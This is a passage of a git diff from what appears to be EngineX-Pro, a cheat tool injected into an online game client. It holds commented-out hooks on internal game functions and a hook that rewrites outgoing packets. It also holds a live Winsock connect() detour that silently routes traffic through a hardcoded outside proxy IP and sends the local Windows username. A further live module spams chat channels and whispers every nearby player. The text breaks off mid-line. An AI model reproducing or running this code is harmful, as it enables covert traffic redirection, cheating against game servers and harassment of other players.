tCPythonItemGetPickedItemID)(void* This, DWORD* pdwPickedItemID); +//typedef float(__thiscall* tCInstanceBaseGetDistance)(void* This, DWORD* pkTargetInst); +//typedef void(__thiscall* tCPythonPlayerSetStatus)(void* This, DWORD dwType, long lValue); +//typedef bool(__thiscall* tCInstanceBaseCheckAdvancing)(void* This); +// +//typedef void(__thiscall* tCInstanceBaseSetMoveSpeed)(void* This, UINT uMovSpd); +//typedef void(__thiscall* tCInstanceBaseSetAttackSpeed)(void* This, UINT uAtkSpd); +//typedef DWORD* (__thiscall* tCRegisterInstance)(void* This, DWORD vid); +//typedef void(__thiscall* tCDeleteInstance)(void* This, DWORD vid); +//typedef void(__thiscall* tCDeleteInstanceByFade)(void* This, DWORD vid); +//typedef bool(__thiscall* tCPythonIsAtlas)(void* This); +// +//typedef int(__cdecl* tCSnprintF)(char* a1, size_t a2, const char* a3, ...); +//typedef bool(__thiscall* tCPythonCharacterManagerIsDeadVID)(void* This, DWORD dwVID); +// + +/*typedef void(__thiscall* tCInstanceBaseRenderCollision)(void* This);*/ + /*typedef void(__thiscall* tCScreenRenderCircle3D)(void* This,float fx, float fy, float fz, float fRadius, int iStep); + typedef void(__thiscall* tCGetBoundingSphere)(void* This, D3DXVECTOR3& v3Center, float& fRadius); + typedef void(__thiscall* tCScreenRenderSphere)(void* This, const D3DXMATRIX* c_pmatWorld, float fx, float fy, float fz, float fRadius, D3DFILLMODE d3dFillMode); + typedef void(__thiscall* tCPythonCharacterManagerDeform)(void* This); + typedef void(__thiscall* tCInstanceBaseSetAddColor)(void* This, const D3DXCOLOR& color); + typedef void(__thiscall* tCInstanceBaseSetAddRenderMode)(void* This); + typedef void(__thiscall* tCInstanceBaseRestoreRenderMode)(void* This);*/ + + + +// +// +// +////################################################################################################################################# +//static void GetBoundingSphere(DWORD* instance, D3DXVECTOR3& v3Center, float& fRadius) +//{ +// return Globals::CGetBoundingSphere((void*)instance, v3Center, fRadius); +//} +////################################################################################################################################# +//static void RenderSphere(const D3DXMATRIX* c_pmatWorld, float fx, float fy, float fz, float fRadius, D3DFILLMODE d3dFillMode) +//{ +// return Globals::CScreenRenderSphere((void*)Globals::iCScreenInstance, c_pmatWorld, fx, fy, fz, fRadius, d3dFillMode); +//} +////################################################################################################################################# +//static void InstanceBaseSetAddColor(DWORD* instance, const D3DXCOLOR& color) +//{ +// return Globals::CInstanceBaseSetAddColor((void*)instance, color); +//} +////################################################################################################################################# +//static void InstanceBaseSetAddRenderMode(DWORD* instance) +//{ +// return Globals::CInstanceBaseSetAddRenderMode((void*)instance); +//} +////################################################################################################################################# +//static void InstanceBaseRestoreRenderMode(DWORD* instance) +//{ +// return Globals::CInstanceBaseRestoreRenderMode((void*)instance); +//} +////################################################################################################################################# +// +//static void RecvCaptcha() +//{ +// return Globals::CRecvCaptcha((void*)Globals::iCPythonNetworkStreamInstance); +//} +// +//static void* MappedFileConstructor(void* ins) +//{ +// return Globals::CMappedFileConstructor(ins); +//} +// +////################################################################################################################################# +//static void ProjectPosition(float fx, float fy, float fz, float* ex, float* ey, float* ez) +//{ +// return Globals::CScreenProjectPosition((void*)Globals::iCScreenInstance, fx, fy, fz, ex, ey, ez); +//} +////################################################################################################################################# +//static void RenderCircle3D(float fx, float fy, float fz, float fRadius, int iStep) +//{ +// return Globals::CScreenRenderCircle3D((void*)Globals::iCScreenInstance, fx, fy, fz, fRadius, iStep); +//} +//static bool InstanceBaseIsWaiting(DWORD* instance) +//{ +// return Globals::CInstanceBaseIsWaiting(instance); +//} +// +////################################################################################################################################# +//static bool CharacterManagerIsDeadVID(DWORD dwVID) +//{ +// return Globals::CPythonCharacterManagerIsDeadVID((void*)Globals::iCPythonCharacterManagerInstance, dwVID); +//} +// +////################################################################################################################################# +//static void InstanceBaseSetMoveSpeed(DWORD* instance, int value) +//{ +// return Globals::CInstanceBaseSetMoveSpeed(instance, value); +//} +////################################################################################################################################# +//static void InstanceBaseSetAttackSpeed(DWORD* instance, int value) +//{ +// return Globals::CInstanceBaseSetAttackSpeed(instance, value); +//} +// +////################################################################################################################################# +//static void PlayerPickCloseItem() +//{ +//#ifdef HERMAS +// Globals::CPythonPlayerPickCloseItem((void*)Globals::iCPythonPlayerInstance, false); +//#else +// Globals::CPythonPlayerPickCloseItem((void*)Globals::iCPythonPlayerInstance); +//#endif +//} +//static tCInstanceBaseRenderCollision CInstanceBaseRenderCollision; +/*static tCScreenRenderCircle3D CScreenRenderCircle3D;*/ +/*static tCActorInstanceGetPixelPosition CActorInstanceGetPixelPosition; + static tCGetBoundingSphere CGetBoundingSphere; + static tCScreenRenderSphere CScreenRenderSphere; + static tCPythonCharacterManagerDeform CPythonCharacterManagerDeform; + static tCInstanceBaseSetAddColor CInstanceBaseSetAddColor; + static tCInstanceBaseSetAddRenderMode CInstanceBaseSetAddRenderMode; + static tCInstanceBaseRestoreRenderMode CInstanceBaseRestoreRenderMode; + static tCRecvCaptcha CRecvCaptcha;*/ + /*static tGlobals::tCInstanceBaseRenderCollision Globals::CInstanceBaseRenderCollision = NULL; +//Globals::tCScreenRenderCircle3D Globals::CScreenRenderCircle3D = NULL; +//Globals::tCActorInstanceGetPixelPosition Globals::CActorInstanceGetPixelPosition = NULL; +//Globals::tCGetBoundingSphere Globals::CGetBoundingSphere = NULL; +//Globals::tCScreenRenderSphere Globals::CScreenRenderSphere = NULL; +//Globals::tCPythonCharacterManagerDeform Globals::CPythonCharacterManagerDeform = NULL; +//Globals::tCInstanceBaseSetAddColor Globals::CInstanceBaseSetAddColor = NULL; +//Globals::tCInstanceBaseSetAddRenderMode Globals::CInstanceBaseSetAddRenderMode = NULL; +//Globals::tCInstanceBaseRestoreRenderMode Globals::CInstanceBaseRestoreRenderMode = NULL; +//Globals::tCRecvCaptcha Globals::CRecvCaptcha = NULL; +Globals::tCMappedFileConstructor Globals::CMappedFileConstructor = NULL; +if (pCInstanceBaseRenderCollision != NULL) { + CInstanceBaseRenderCollision = (tCInstanceBaseRenderCollision)(pCInstanceBaseRenderCollision); + } +/*if (pCScreenRenderCircle3D != NULL) { + CScreenRenderCircle3D = (tCScreenRenderCircle3D)(pCScreenRenderCircle3D); + }*/ + + + /*if (pCActorInstanceGetPixelPosition != NULL) { + CActorInstanceGetPixelPosition = (tCActorInstanceGetPixelPosition)(pCActorInstanceGetPixelPosition); + } + if (pCGetBoundingSphere != NULL) { + CGetBoundingSphere = (tCGetBoundingSphere)(pCGetBoundingSphere); + } + if (pCScreenRenderSphere != NULL) { + CScreenRenderSphere = (tCScreenRenderSphere)(pCScreenRenderSphere); + } + if (pCPythonCharacterManagerDeform != NULL) { + CPythonCharacterManagerDeform = (tCPythonCharacterManagerDeform)(pCPythonCharacterManagerDeform); + } + if (pCInstanceBaseSetAddColor != NULL) { + CInstanceBaseSetAddColor = (tCInstanceBaseSetAddColor)(pCInstanceBaseSetAddColor); + }*/ + /*if (pCInstanceBaseSetAddRenderMode != NULL) { + CInstanceBaseSetAddRenderMode = (tCInstanceBaseSetAddRenderMode)(pCInstanceBaseSetAddRenderMode); + }*/ + /*if (pCInstanceBaseRestoreRenderMode != NULL) { + CInstanceBaseRestoreRenderMode = (tCInstanceBaseRestoreRenderMode)(pCInstanceBaseRestoreRenderMode); + }*/ + /*if (pCRecvCaptcha != NULL) { + CRecvCaptcha = (tCRecvCaptcha)(pCRecvCaptcha); + }*/ + /*if (pCPythonIsAtlas != NULL) { + CPythonIsAtlas = (tCPythonIsAtlas)(pCPythonIsAtlas); + }*/ + /*if (pCMappedFileConstructor != NULL) { + CMappedFileConstructor = (tCMappedFileConstructor)(pCMappedFileConstructor); + }*/ + + /*if (pCInstanceBaseIsWaiting != NULL) + { + CInstanceBaseIsWaiting = (tCInstanceBaseIsWaiting)(pCInstanceBaseIsWaiting); + }*/ + + /*if (pCPythonCharacterManagerIsDeadVID != NULL) + { + CPythonCharacterManagerIsDeadVID = (tCPythonCharacterManagerIsDeadVID)(pCPythonCharacterManagerIsDeadVID); + }*/ + + +//static void InstanceBaseRenderCollision(DWORD* instance) +//{ +// return Globals::CInstanceBaseRenderCollision((void*)instance); +//} + +//################################################################################################## +//bool _fastcall Hooks::NewCInstanceBaseCheckAdvancing(void* This, void* EDX) +//{ +// if (Settings::MiniMHWALL) +// { +// return true; +// } +// else +// { +// return nCInstanceBaseCheckAdvancing(This); +// } +//} + +// +//typedef void(__thiscall* tCScreenProjectPosition)(void* This, float x, float y, float z, float* pfX, float* pfY, float* pfZ); +//typedef void(__thiscall* tCScreenSetDiffuseColor)(void* This, float r, float g, float b, float a); +// +//typedef void(__thiscall* tCScreenRenderLine3D)(void* This, float sx, float sy, float sz, float ex, float ey, float ez); +//static tCScreenSetDiffuseColor CScreenSetDiffuseColor; +//static tCScreenRenderLine3D CScreenRenderLine3D; +////################################################################################################################################# +//static void SetDiffuseColor(float r, float g, float b, float a) +//{ +// return Globals::CScreenSetDiffuseColor((void*)Globals::iCScreenInstance, r, g, b, a); +//} +////################################################################################################################################# +//static void RenderLine3D(float sx, float sy, float sz, float ex, float ey, float ez) +//{ +// return Globals::CScreenRenderLine3D((void*)Globals::iCScreenInstance, sx, sy, sz, ex, ey, ez); +//} + + + +/*if (pCScreenProjectPosition != NULL) { + CScreenProjectPosition = (tCScreenProjectPosition)(pCScreenProjectPosition); + } + if (pCPythonApplicationGetCenterPosition != NULL) { + CPythonApplicationGetCenterPosition = (tCPythonApplicationGetCenterPosition)(pCPythonApplicationGetCenterPosition); + } + if (pCScreenSetDiffuseColor != NULL) { + CScreenSetDiffuseColor = (tCScreenSetDiffuseColor)(pCScreenSetDiffuseColor); + } + if (pCScreenRenderLine3D != NULL) { + CScreenRenderLine3D = (tCScreenRenderLine3D)(pCScreenRenderLine3D); + }*/ + + + //################################################################################################################################# + /*static void GetCenterPosition(D3DXVECTOR3* pPixelPosition) + { + return Globals::CPythonApplicationGetCenterPosition((void*)Globals::iCPythonApplicationInstance, pPixelPosition); + }*/ + + //################################################################################################################################# + //static const D3DXMATRIX& GetTransform() + //{ + // DWORD* pCharInstance = GameFunctions::CharacterManagerGetInstancePtr(GameFunctions::PlayerGetMainCharacterIndex()); + // auto Instance = pCharInstance + 520;//GLOBAL +544 + // return Globals::CGetTransform(Instance); + //} + + +//if (ImGui::Button("Test1", ImVec2(60, 0))) +//{ +// DWORD h = *reinterpret_cast(Globals::iCPythonNetworkStreamInstance + 0x170); +// +// Globals::PyCallClassMemberFunc((PyObject*)h, "SetSelectCharacterPhase", Py_BuildValue("()")); +//} +//if (ImGui::Button("Test2", ImVec2(60, 0))) +//{ +// DWORD h = *reinterpret_cast(Globals::iCPythonNetworkStreamInstance + 0x170); +// +// +// Globals::PyCallClassMemberFunc((PyObject*)h, "SetGamePhase", Py_BuildValue("()")); +//} +//if (ImGui::Button("Test3", ImVec2(60, 0))) +//{ +// PyRun_SimpleStringFlags("exec(compile(open('test2.py').read(), 'test2.py', 'exec'))", 0); +//} +// +//if (ImGui::Button("Test4", ImVec2(60, 0))) +//{ +// PyRun_SimpleStringFlags("exec(compile(open('test1.py').read(), 'test1.py', 'exec'))", 0); +//} +//DWORD h = *reinterpret_cast(Globals::iCPythonNetworkStreamInstance + 0x170); +// +// +// +// +//Globals::PyCallClassMemberFunc((PyObject*)h, "SetLoadingPhase", Py_BuildValue("()")); + +//DWORD h = *reinterpret_cast(Globals::iCPythonNetworkStreamInstance + 0x184); + // + //Globals::PyCallClassMemberFunc((PyObject*)h, "LoadData", Py_BuildValue("(ii)", 0, 0)); + //] + + +//for (int i = 0; i < 99999; i++) +//{ +// const TMobTable* t = GameFunctions::NonPlayerGetTable(i); +// +// if (t != NULL) +// { +// /*string g = StringExtension::StringFormat("%u\"\t\"%s\"\t\"%s\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"" +// "%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%s\"\t\"" +// "%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"" +// "%u\"\t\"%u\"\t\"%d\"\t\"%d\"\t\"%d\"\t\"%u\"\t\"%d\"\t\"%d\"\t\"%u\"\t\"" +// +// "%d\"\t\"%d\"\t\"%d\"\t\"%d\"\t\"%d\"\t\"%d\"\t\"" +// "%d\"\t\"%d\"\t\"%d\"\t\"%d\"\t\"%d\"\t\"%d\"\t\"" +// "%d\"\t\"%d\"\t\"%d\"\t\"%d\"\t\"%d\"\t\"" +// "%f\"\t\"%u\"\t\"%u\"\t\"" +// +// "%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"" +// "%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"" +// "%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"%u\"\t\"" +// "%u\"\t\"%u\"\t\"", +// +// +// t->dwVnum, t->szName, t->szLocaleName, t->bType, t->bRank, t->bBattleType, t->bLevel, t->bSize, t->dwAIFlag, t->dwRaceFlag, t->dwImmuneFlag, +// t->bOnClickType, t->bEmpire, t->dwDropItemVnum, t->dwResurrectionVnum, t->szFolder, +// t->bStr, t->bDex, t->bCon, t->bInt, t->dwDamageRange[0], t->dwDamageRange[1], t->dwMaxHP, t->bRegenCycle, t->bRegenPercent, t->dwExp, +// +// t->dwGoldMin, t->dwGoldMax, t->wDef, t->sAttackSpeed, t->sMovingSpeed, t->bAggresiveHPPct, t->wAggressiveSight, t->wAttackRange, t->dwPolymorphItemVnum, +// t->cEnchants[0], t->cEnchants[1], t->cEnchants[2], t->cEnchants[3], t->cEnchants[4], t->cEnchants[5], +// t->cResists[0], t->cResists[1], t->cResists[2], t->cResists[3], t->cResists[4], t->cResists[5], +// t->cResists[6], t->cResists[7], t->cResists[8], t->cResists[9], t->cResists[10], +// t->fDamMultiply, t->dwSummonVnum, t->dwDrainSP, +// +// t->Skills[0].dwVnum, t->Skills[0].bLevel, t->Skills[1].dwVnum, t->Skills[1].bLevel, t->Skills[2].dwVnum, t->Skills[2].bLevel, +// t->Skills[3].dwVnum, t->Skills[3].bLevel, t->Skills[4].dwVnum, t->Skills[4].bLevel, +// t->bBerserkPoint, t->bStoneSkinPoint, t->bGodSpeedPoint, t->bDeathBlowPoint, t->bRevivePoint, +// t->bMountCapacity, t->dwMobColor +// );*/ +// +// +// +// string g = StringExtension::StringFormat("%u\"\t\"%s\"\t\"%u\"\t\"%u\"\t\"%u\"" +// , +// +// t->dwVnum, t->szLocaleName, t->dwGoldMin, t->dwGoldMax, t->dwDropItemVnum +// +// ); +// +// +// std::ofstream outfile; +// outfile.open("protoX.txt", std::ios_base::app); +// outfile << g; +// outfile << "\n"; +// } +//} + + + + + + + + + + +//bool _fastcall Hooks::NewCNetworkStreamSendAeldra(void* This, void* EDX, int len, void* pDestBuf, bool instant) +//{ +// BYTE header; +// memcpy(&header, pDestBuf, sizeof(header)); +// +// //if (header == 0x02 && len == 6) +// //{ +// // strncpy((char*)pDestBuf + 2, "\xB5", 1); +// //} +// if (header == 0x0A && len > 120) +// { +// for (int i = 0; i < len; i++) +// { +// BYTE check1 = 0; +// BYTE check2 = 0; +// BYTE check3 = 0; +// BYTE check4 = 0; +// memcpy(&check1, static_cast(pDestBuf) + i, sizeof(check1)); +// memcpy(&check2, static_cast(pDestBuf) + (i + 1), sizeof(check2)); +// memcpy(&check3, static_cast(pDestBuf) + (i + 2), sizeof(check3)); +// memcpy(&check4, static_cast(pDestBuf) + (i + 3), sizeof(check4)); +// if (check1 == 0xDD && check2 == 0xFC && check3 == 0xDF && check4 == 0xF9) +// { +// strncpy((char*)pDestBuf + (i), "\xBD\xDE\xA0\xFA", 4); //83 d8 9f fa +// break; +// } +// } +// } +// +// bool ret = nCNetworkStreamSendAeldra(This, len, pDestBuf, 1); +// //BYTE* destBuf = (BYTE*)pDestBuf; +//#ifdef DEVELOPER_MODE +// PacketSniffer::Instance().ProcessSendPacket(len, (void*)pDestBuf, (DWORD)_ReturnAddress() - Globals::hEntryBaseAddress); +//#endif +// return ret; +//} +// +////int _stdcall Hooks::NewCNetworkStreamSendAeldra(SOCKET s, const char* pDestBuf, int len, int flags) +////{ +//// BYTE header; +//// memcpy(&header, pDestBuf, sizeof(header)); +//// +//// if (header == 0x02 && len == 6) +//// { +//// strncpy((char*)pDestBuf + 2, "\xA7", 1); +//// } +//// if (header == 0x0A && len > 150) +//// { +//// strncpy((char*)pDestBuf + (len - 85), "\x9C\xBF\xFE\xF9", 4); +//// //strncpy((char*)pDestBuf + (len - 85), "\xB1\xC4\x90\xFA", 4); +//// } +//// +//// int ret = nCNetworkStreamSendAeldra(s, pDestBuf, len, flags); +//// BYTE* destBuf = (BYTE*)pDestBuf; +////#ifdef DEVELOPER_MODE +//// PacketSniffer::Instance().ProcessSendPacket(len, (void*)pDestBuf, (DWORD)_ReturnAddress() - Globals::hEntryBaseAddress); +////#endif +//// return ret; +////} \ No newline at end of file diff --git a/EngineX-Pro/Socks5.h b/EngineX-Pro/Socks5.h new file mode 100644 index 0000000..ced7b84 --- /dev/null +++ b/EngineX-Pro/Socks5.h @@ -0,0 +1,202 @@ +#pragma once +#include +#include +#include +#include "lazy_importer.hpp" + +typedef int (WINAPI* PCONNECT)(int socket, const struct sockaddr* address, int address_len); //You now have declared the function pointer type. +PCONNECT OrigConnect; //And you now have a declared global pointer. +int WINAPI __stdcall MyConnect(int socket, const struct sockaddr* address, int address_len) +{ + + /*return OrigConnect(socket, address, address_len);*/ + + //MessageBox(NULL,"","",NULL); + char buf[255] = { 0 }; + struct sockaddr_in* to; + to = (struct sockaddr_in*)address; + + fd_set sockset; + struct timeval timeout; + timeout.tv_sec = 1; + timeout.tv_usec = 0; + + // socks proxy address & port + struct sockaddr_in sa; + sa.sin_family = AF_INET; + sa.sin_addr.s_addr = inet_addr("72.11.148.222"); + sa.sin_port = htons(56533); + // connect to the socks proxy + //int iRet = OrigConnect( socket, (sockaddr*)address, address_len ); + int iRet = OrigConnect(socket, (struct sockaddr*) & sa, sizeof(struct sockaddr)); + if (iRet == SOCKET_ERROR) + { + if (WSAGetLastError() != 10035) + { + //sprintf(buf, "%d", iRet); + sprintf(buf, "%d", WSAGetLastError()); + //MessageBox(NULL,buf,buf,NULL); + return SOCKET_ERROR; + } + } + + // send a version identifier/method selection message + buf[0] = 0x5; // SOCKS Protocol Version 5.0 + buf[1] = 0x2; // number of methods is 2 + buf[2] = 0x0; // X'00' NO AUTHENTICATION REQUIRED + buf[3] = 0x2; // X'02' USERNAME/PASSWORD + + FD_ZERO(&sockset); + FD_SET(socket, &sockset); + select(socket + 1, NULL, &sockset, NULL, &timeout); + iRet = send(socket, buf, 4, 0); + if (iRet == SOCKET_ERROR) + { + //MessageBox( NULL, "send", "sockscap", MB_OK ); + return SOCKET_ERROR; + } + + FD_ZERO(&sockset); + FD_SET(socket, &sockset); + select(socket + 1, &sockset, NULL, NULL, &timeout); + iRet = recv(socket, buf, 254, 0); + if (iRet == SOCKET_ERROR) + { + //MessageBox( NULL, "Recv", "sockscap", MB_OK ); + return SOCKET_ERROR; + } + + // define the username & password for socks authentication + char username[64];// = "guest"; + DWORD tuserlen = sizeof(username); + GetUserName(username, &tuserlen); + int userlen = strlen(username); + char password[64] = "guest"; + int passlen = strlen(password); + + /*char buf2[255]; + int i; + for (i=0; isin_addr.s_addr, sizeof(DWORD)); + memcpy(buf + 8, &to->sin_port, sizeof(WORD)); + + FD_ZERO(&sockset); + FD_SET(socket, &sockset); + select(socket + 1, NULL, &sockset, NULL, &timeout); + iRet = send(socket, buf, 10, 0); + + FD_ZERO(&sockset); + FD_SET(socket, &sockset); + select(socket + 1, &sockset, NULL, NULL, &timeout); + iRet = recv(socket, buf, 254, 0); + //MessageBox( NULL, "send", "sockscap", MB_OK ); + + if (buf[1] == 0x0) // 0x0 for success + iRet = 0; + else + iRet = SOCKET_ERROR; + break; + case 0xFF: // Can't accept your methods + iRet = SOCKET_ERROR; + break; + default: // Unknown error + iRet = SOCKET_ERROR; + break; + } + FD_ZERO(&sockset); + FD_SET(socket, &sockset); + select(socket + 1, NULL, &sockset, NULL, &timeout); + FD_ZERO(&sockset); + //if (iRet == SOCKET_ERROR) MessageBox(NULL, "", "", NULL); + return iRet; +} + + +void DLLAction() +{ + //while (GetModuleHandle("Ws2_32.dll") == 0) {MessageBox(NULL, "Done", "Done", NULL);Sleep(5000);} + //while (GetProcAddress(GetModuleHandle("Ws2_32.dll"), "connect") == 0) {MessageBox(NULL, "Done", "Done", NULL);Sleep(5000);} + /*Sleep(5000);*/ + WSADATA wsaData; + WSAStartup(MAKEWORD(1, 1), &wsaData); + + OrigConnect = (PCONNECT)DetourFunction((PBYTE)(DWORD)GetProcAddress(GetModuleHandle("Ws2_32.dll"), "connect"), (PBYTE)MyConnect); + + int WSAAPI connect( + SOCKET s, + const sockaddr * name, + int namelen + ); + + + + + MessageBox(NULL, "Done", "Done", NULL); + return; +} + +//BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD reason, LPVOID lpvReserved) +//{ +// switch (reason) +// { +// case DLL_PROCESS_ATTACH: +// { +// CreateThread(NULL, 0, DLLAction, NULL, 0, NULL); +// +// /* +// +// *(PDWORD)&OrigConnect = APIHook((DWORD)GetProcAddress(GetModuleHandle("Ws2_32.dll"), "connect"), (DWORD)MyConnect, (DWORD)OrigConnect); +// WSADATA wsaData; +// WSAStartup(MAKEWORD(1,1), &wsaData); +// +// */ +// break; +// } +// +// case DLL_PROCESS_DETACH: +// break; +// +// case DLL_THREAD_ATTACH: +// break; +// +// case DLL_THREAD_DETACH: +// break; +// } +// +// /* Returns TRUE on success, FALSE on failure */ +// return TRUE; +//} \ No newline at end of file diff --git a/EngineX-Pro/Spam.h b/EngineX-Pro/Spam.h new file mode 100644 index 0000000..3f583a1 --- /dev/null +++ b/EngineX-Pro/Spam.h @@ -0,0 +1,268 @@ +#pragma once +class Spam : public IAbstractModuleBase, public Singleton +{ + + template + inline T Clamp(float v, T mn, T mx) + { + return (v < mn) ? mn : (v > mx) ? mx : v; + } + + string GetTextColor(ImVec4 col,string text) + { + + float f[4] = { col.x, col.y, col.z, col.w }; + int i[4] = { IM_F32_TO_INT8_UNBOUND(f[0]), IM_F32_TO_INT8_UNBOUND(f[1]), IM_F32_TO_INT8_UNBOUND(f[2]), IM_F32_TO_INT8_UNBOUND(f[3]) }; + char buf[16]; + ImFormatString(buf, IM_ARRAYSIZE(buf), "%02X%02X%02X%02X", Clamp(i[3], 0, 255), Clamp(i[0], 0, 255), Clamp(i[1], 0, 255), Clamp(i[2], 0, 255)); + + string color = "|c"; + color += buf; + color += text; + color += "|H|h"; + return color; + + } + + + string shoutTextMessage = string(500, '\0'); + string whisperTextMessage = string(500, '\0'); + string normalTextMessage = string(500, '\0'); + float wisperTimeLoop = 0; + +public: + + void OnRender() + { + } + + void OnStart() + { + + + } + + void OnStop() + { + } + + void OnUpdate() + { + if (Settings::SPAM_NORMAL_ENABLE) + { + + if (strlen(normalTextMessage.c_str())) + { + if (DynamicTimer::CheckAutoSet("SpamNormal", Settings::SPAM_NORMAL_TIME * 1000)) + { + + string text = ""; + if (Settings::SPAM_NORMAL_COLOR_ENABLE) + { + text += GetTextColor(Settings::SPAM_NORMAL_COLOR, normalTextMessage.c_str()); + } +#ifdef DEVELOPER_MODE + else if (Settings::SPAM_NORMAL_RAINBOW_COLOR_ENABLE) + { + for (int i = 0; i < strlen(normalTextMessage.c_str()); i++) + { + string str = ""; + char letter = +normalTextMessage[i]; + str += letter; + text += GetTextColor(ImColor(MiscExtension::RandomInt(0, 255), MiscExtension::RandomInt(0, 255), MiscExtension::RandomInt(0, 255), 255), str); + } + } +#endif + else + { + text += normalTextMessage.c_str(); + } + + + GameFunctions::NetworkStreamSendChatPacket(StringExtension::UTF8ToASCII(text).c_str(), CHAT_TYPE_TALKING); + + } + + } + } + if (Settings::SPAM_SHOUT_ENABLE) + { + if (strlen(shoutTextMessage.c_str())) + { + if (DynamicTimer::CheckAutoSet("SpamShout", Settings::SPAM_SHOUT_TIME * 1000)) + { + + string text = ""; + + + if (Settings::SPAM_SHOUT_COLOR_ENABLE) + { + text += GetTextColor(Settings::SPAM_SHOUT_COLOR, shoutTextMessage.c_str()); + } +#ifdef DEVELOPER_MODE + else if (Settings::SPAM_SHOUT_RAINBOW_COLOR_ENABLE) + { + for (int i = 0; i < strlen(shoutTextMessage.c_str()); i++) + { + string str = ""; + char letter = +shoutTextMessage[i]; + str += letter; + text += GetTextColor(ImColor(MiscExtension::RandomInt(0, 255), MiscExtension::RandomInt(0, 255), MiscExtension::RandomInt(0, 255), 255), str); + } + } +#endif + else + { + text += shoutTextMessage.c_str(); + } + + + GameFunctions::NetworkStreamSendChatPacket(StringExtension::UTF8ToASCII(text).c_str(), CHAT_TYPE_SHOUT); + + } + } + } + if (Settings::SPAM_WISPER_ENABLE) + { + if (strlen(whisperTextMessage.c_str())) + { + if (DynamicTimer::CheckAutoSet("SpamWhisper", wisperTimeLoop * 1000 )) + { + map playerList = GameFunctionsCustom::GetObjectList(OBJECT_PC); + DWORD targetNumber = 0; + for (map::iterator itor = playerList.begin(); itor != playerList.end(); itor++) + { + DWORD vid = itor->first; + + string text = ""; + if (Settings::SPAM_WHISPER_COLOR_ENABLE) + { + text += GetTextColor(Settings::SPAM_WHISPER_COLOR, whisperTextMessage.c_str()); + } +#ifdef DEVELOPER_MODE + else if (Settings::SPAM_WHISPER_RAINBOW_COLOR_ENABLE) + { + for (int i = 0; i < strlen(whisperTextMessage.c_str()); i++) + { + string str = ""; + char letter = +whisperTextMessage[i]; + str += letter; + text += GetTextColor(ImColor(MiscExtension::RandomInt(0, 255), MiscExtension::RandomInt(0, 255), MiscExtension::RandomInt(0, 255), 255), str); + } + } +#endif + else + { + text += whisperTextMessage.c_str(); + } + + + const char* name = GameFunctions::InstanceBaseGetNameString(itor->second); + + + DelayActions::Append((Settings::SPAM_WHISPER_TIME * targetNumber), GameFunctions::NetworkStreamSendWhisperPacket, name, StringExtension::UTF8ToASCII(text)); + +#ifdef DEVELOPER_MODE + if (Globals::m_apoPhaseWndGame != NULL) + { + DelayActions::Append((Settings::SPAM_WHISPER_TIME* targetNumber),&GameFunctions::PyCallClassMemberFunc,Globals::m_apoPhaseWndGame, "OnRecvWhisper", Globals::Py_BuildValue("(iss)", 0, name, StringExtension::UTF8ToASCII(text).c_str())); + } +#endif + + targetNumber++; + + } + wisperTimeLoop = Settings::SPAM_WHISPER_TIME * targetNumber; + + } + } + } + + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("WhisperBorder", ImVec2(ImGui::GetWindowWidth() - 10, 90), true); + ImGui::Checkbox("Whisper", &Settings::SPAM_WISPER_ENABLE); ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputFloat("Time (s.ms)", &Settings::SPAM_WHISPER_TIME, 0.100, 1); ImGui::SameLine(); ImGui::ColorEdit4("##SpamWhisperColor", (float*)&Settings::SPAM_WHISPER_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); + ImGui::SameLine(); + ImGui::Checkbox("Text Color", &Settings::SPAM_WHISPER_COLOR_ENABLE); + { + Settings::SPAM_WHISPER_RAINBOW_COLOR_ENABLE = false; + }; +#ifdef DEVELOPER_MODE + ImGui::SameLine(); + if (ImGui::Checkbox("Rainbow Color", &Settings::SPAM_WHISPER_RAINBOW_COLOR_ENABLE)) + { + Settings::SPAM_WHISPER_COLOR_ENABLE = false; + }; +#endif + ImGui::PushItemWidth(400); ImGui::InputText("Text", &whisperTextMessage[0], whisperTextMessage.size()); + ImGui::EndChild(); + ImGui::PopStyleVar(); + + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("NormalBorder", ImVec2(ImGui::GetWindowWidth() - 10, 90), true); + ImGui::Checkbox("Normal", &Settings::SPAM_NORMAL_ENABLE); ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputFloat("Time (s.ms)", &Settings::SPAM_NORMAL_TIME, 0.100, 1); + ImGui::SameLine(); + ImGui::ColorEdit4("##SpamNormalColor", (float*)&Settings::SPAM_NORMAL_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); + ImGui::SameLine(); + ImGui::Checkbox("Text Color", &Settings::SPAM_NORMAL_COLOR_ENABLE); + { + Settings::SPAM_NORMAL_RAINBOW_COLOR_ENABLE = false; + }; +#ifdef DEVELOPER_MODE + ImGui::SameLine(); + if (ImGui::Checkbox("Rainbow Color", &Settings::SPAM_NORMAL_RAINBOW_COLOR_ENABLE)) + { + Settings::SPAM_NORMAL_COLOR_ENABLE = false; + }; +#endif + ImGui::PushItemWidth(400); ImGui::InputText("Text", &normalTextMessage[0], normalTextMessage.size()); + ImGui::EndChild(); + ImGui::PopStyleVar(); + + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("ShoutBorder", ImVec2(ImGui::GetWindowWidth() - 10, 90), true); ImGui::SameLine(); + ImGui::Checkbox("Shout", &Settings::SPAM_SHOUT_ENABLE); ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputFloat("Time (s.ms)", &Settings::SPAM_SHOUT_TIME, 0.100, 1); + ImGui::SameLine(); + ImGui::ColorEdit4("##SpamShoutColor", (float*)&Settings::SPAM_SHOUT_COLOR, 